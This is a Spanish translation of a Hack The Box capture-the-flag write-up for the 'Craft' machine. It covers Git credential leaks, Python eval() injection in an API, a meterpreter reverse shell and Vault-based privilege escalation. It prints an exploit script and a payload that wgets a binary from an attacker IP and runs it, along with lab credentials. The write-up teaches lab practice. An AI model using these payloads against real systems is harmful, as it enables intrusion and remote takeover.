Hack The Box - Tutorial de artesanía. Profundizamos en Git, explotamos vulnerabilidades en la API, tratamos con Vault

imagen

En este artículo, comenzaré a publicar soluciones enviadas para su posterior procesamiento desde el sitio HackTheBox . Espero que esto ayude al menos a alguien a desarrollarse en el campo de la seguridad de la información. Veremos cómo puede explotar RCE en la API, profundizar en los repositorios de Gogs, trabajar con bases de datos y lidiar con el sistema de almacenamiento y administración secreto de Vault.

La conexión al laboratorio es a través de VPN. Se recomienda no conectarse desde una computadora de trabajo o desde un host donde los datos importantes para usted estén disponibles, ya que termina en una red privada con personas que saben algo en el campo de la seguridad de la información :)

Información organizacional
Especialmente para aquellos que desean aprender algo nuevo y desarrollarse en cualquiera de las áreas de información y seguridad informática, escribiré y hablaré sobre las siguientes categorías:

  • PWN;
  • criptografía (criptografía);
  • tecnologías de red (Red);
  • inversa (ingeniería inversa);
  • esteganografía (Stegano);
  • búsqueda y explotación de vulnerabilidades WEB.

Además de esto, compartiré mi experiencia en informática forense, análisis de malware y firmware, ataques a redes inalámbricas y redes de área local, realización de pentests y escritura de exploits.

Para que pueda conocer nuevos artículos, software y otra información, creé un canal en Telegram y un grupo para discutir cualquier problema en el campo de ICD. Además, consideraré personalmente sus solicitudes personales, preguntas, sugerencias y recomendaciones personalmente y responderé a todos .

Toda la información se proporciona solo con fines educativos. El autor de este documento no tiene ninguna responsabilidad por los daños causados ​​a alguien como resultado del uso del conocimiento y los métodos obtenidos como resultado de estudiar este documento.

Inteligencia


Escaneo de puertos


Esta máquina tiene una dirección IP de 10.10.10.110, que agrego a / etc / hosts.
10.10.10.110 craft.htb
En primer lugar, escaneamos puertos abiertos usando nmap y especificamos la opción -A para obtener la mayor cantidad de información posible sobre los servicios descubiertos.
 nmap -A craft.htb 

imagen

En la máquina, vemos el servicio ssh, así como un servidor web que se ejecuta en el puerto 443. Si va al servidor web, se nos ofrece mirar la API.

imagen

Cuando tratamos de ver la API y git, nos informan sobre sitios desconocidos.

imagen

Por lo tanto, agregamos ambos nombres de dominio a / etc / hosts.
10.10.10.110 api.craft.htb
10.10.10.110 gogs.craft.htb


Ahora ambos enlaces se abren. Supuestamente, Craft API es una interfaz para trabajar con API, por lo que, para empezar, necesitamos descubrir cómo funciona, con qué Gogs nos ayudará.

imagen

Punto de entrada


En git, lo primero que debe verificar es commits.

imagen

Después de pasar por los commits, en 10e3ba4f0a encontramos los datos de autenticación del usuario.

imagen

Después de haber iniciado sesión en gogs por correspondencia, encontramos una mención sobre el error.

imagen

Al hacer clic en el enlace, descubrimos cómo se realiza la verificación en la función eval (), lo cual es muy peligroso, ya que puede ejecutar código en esta función.

imagen

Para probar la hipótesis, en la consola local de Python haremos un análogo de la función e intentaremos llamar a la función "system ()" desde el módulo "os".

imagen

¡El código se ejecutó con éxito! Ahora necesita escribir un exploit para volver a conectarse. En la primera etapa, copie el código para la autenticación y la recepción de tokens.
 #!/usr/bin/env python import requests import json response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False) json_response = json.loads(response.text) token = json_response['token'] headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' } # make sure token is valid response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False) print(response.text) # create a sample brew with bogus ABV... should fail. print("Create bogus ABV brew") brew_dict = {} brew_dict['abv'] = '15.0' brew_dict['name'] = 'bullshit' brew_dict['brewer'] = 'bullshit' brew_dict['style'] = 'bullshit' json_data = json.dumps(brew_dict) response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False) print(response.text) 

En este código, nuestra carga se pasa en el parámetro "abv", por lo que para verificar la suposición de RCE, reemplazamos la cadena '15 .0 'con "__import __ (' os '). System (' ping your_ip ')".

Abrimos tcpdump, indicando qué interfaz escuchar y filtrando parámetros solo paquetes ICMP y lanzamos el exploit.

imagen

imagen

Observamos que pudimos hacer ping a nosotros mismos desde un host remoto. Ahora lanzamos back-connect. Se puede hacer a través de nc, pero obtengamos un shell de meterpreter. Para hacer esto, genere una carga usando msfvenom. Especificamos la carga en sí (reverse_tcp), el host local y el puerto (LHOST, LPORT), y el formato de archivo es elf.

imagen

Al mismo tiempo, activamos el servidor web local. Ahora configure el oyente en msfconsole. Para hacer esto, establezca los parámetros, como en la carga.

imagen

Escuchamos las conexiones entrantes, ahora necesitamos cargar la carga en el host e iniciarlo.
brew_dict['abv'] = 'wget http://10.10.14.199/shell.bin ; chmod +x shell.bin ; ./shell.bin'
En la ventana de metasplit, vemos una conexión entrante.

imagen

Usuario


Iniciemos el shell y veamos con quién trabajamos.

imagen

Según la conclusión del terminal, podemos suponer que estamos dentro del contenedor acoplable. Echa un vistazo al anfitrión.

imagen

Hay un archivo ejecutable dbtest.py. Deberías verlo.

imagen

El programa se conecta a la base de datos y ejecuta el comando con salida posterior. Echemos un vistazo a la base de datos. Para hacer esto, inicié la consola interactiva de Python en el host y copié todo el código en ella antes de ejecutar el comando.

imagen

Ahora solicitaremos tablas.

imagen

Como resultado, devolvimos 2 registros. Dado que cursor.fetchone () genera una entrada, haremos dos de esas salidas.

imagen

Entonces tenemos 2 mesas. Más interesante es el usuario. Mostramos todos los datos de esta tabla.

imagen

Y hay 3 entradas en el mismo.

imagen

Y obtenemos créditos de usuario. Después de haberlos probado en ssh y haber fallado, tratamos de entrar en git. Y resulta que iniciar sesión como gilfoyle. Y tiene un repositorio cerrado.

imagen

imagen

El directorio .ssh es muy interesante. Hay dos llaves, y recogemos la privada.

imagen

Estamos intentando conectarnos a través de ssh con esta clave.

imagen

RAÍZ


Lo primero que debe mirar en el directorio del usuario.

imagen

Encontramos una ficha de la bóveda.

imagen

Habiendo tratado con la bóveda , diré que es un sistema de almacenamiento y administración de secretos que contiene datos en el formato de clave / valor, a los que se accede mediante un token. Compruebe si el almacenamiento está configurado.

imagen

Echemos un vistazo a la lista de secretos .

imagen

Por lo tanto, vemos que el acceso a ssh está configurado .

imagen

Ahora ingresamos la contraseña de un solo uso que se nos dio y estamos en el sistema como root.

imagen

Puedes unirte a nosotros en Telegram . Formemos una comunidad en la que haya personas con conocimientos en muchas áreas de TI, para que siempre podamos ayudarnos mutuamente en cualquier problema de seguridad de la información y TI.

Source: https://habr.com/ru/post/482970/


All Articles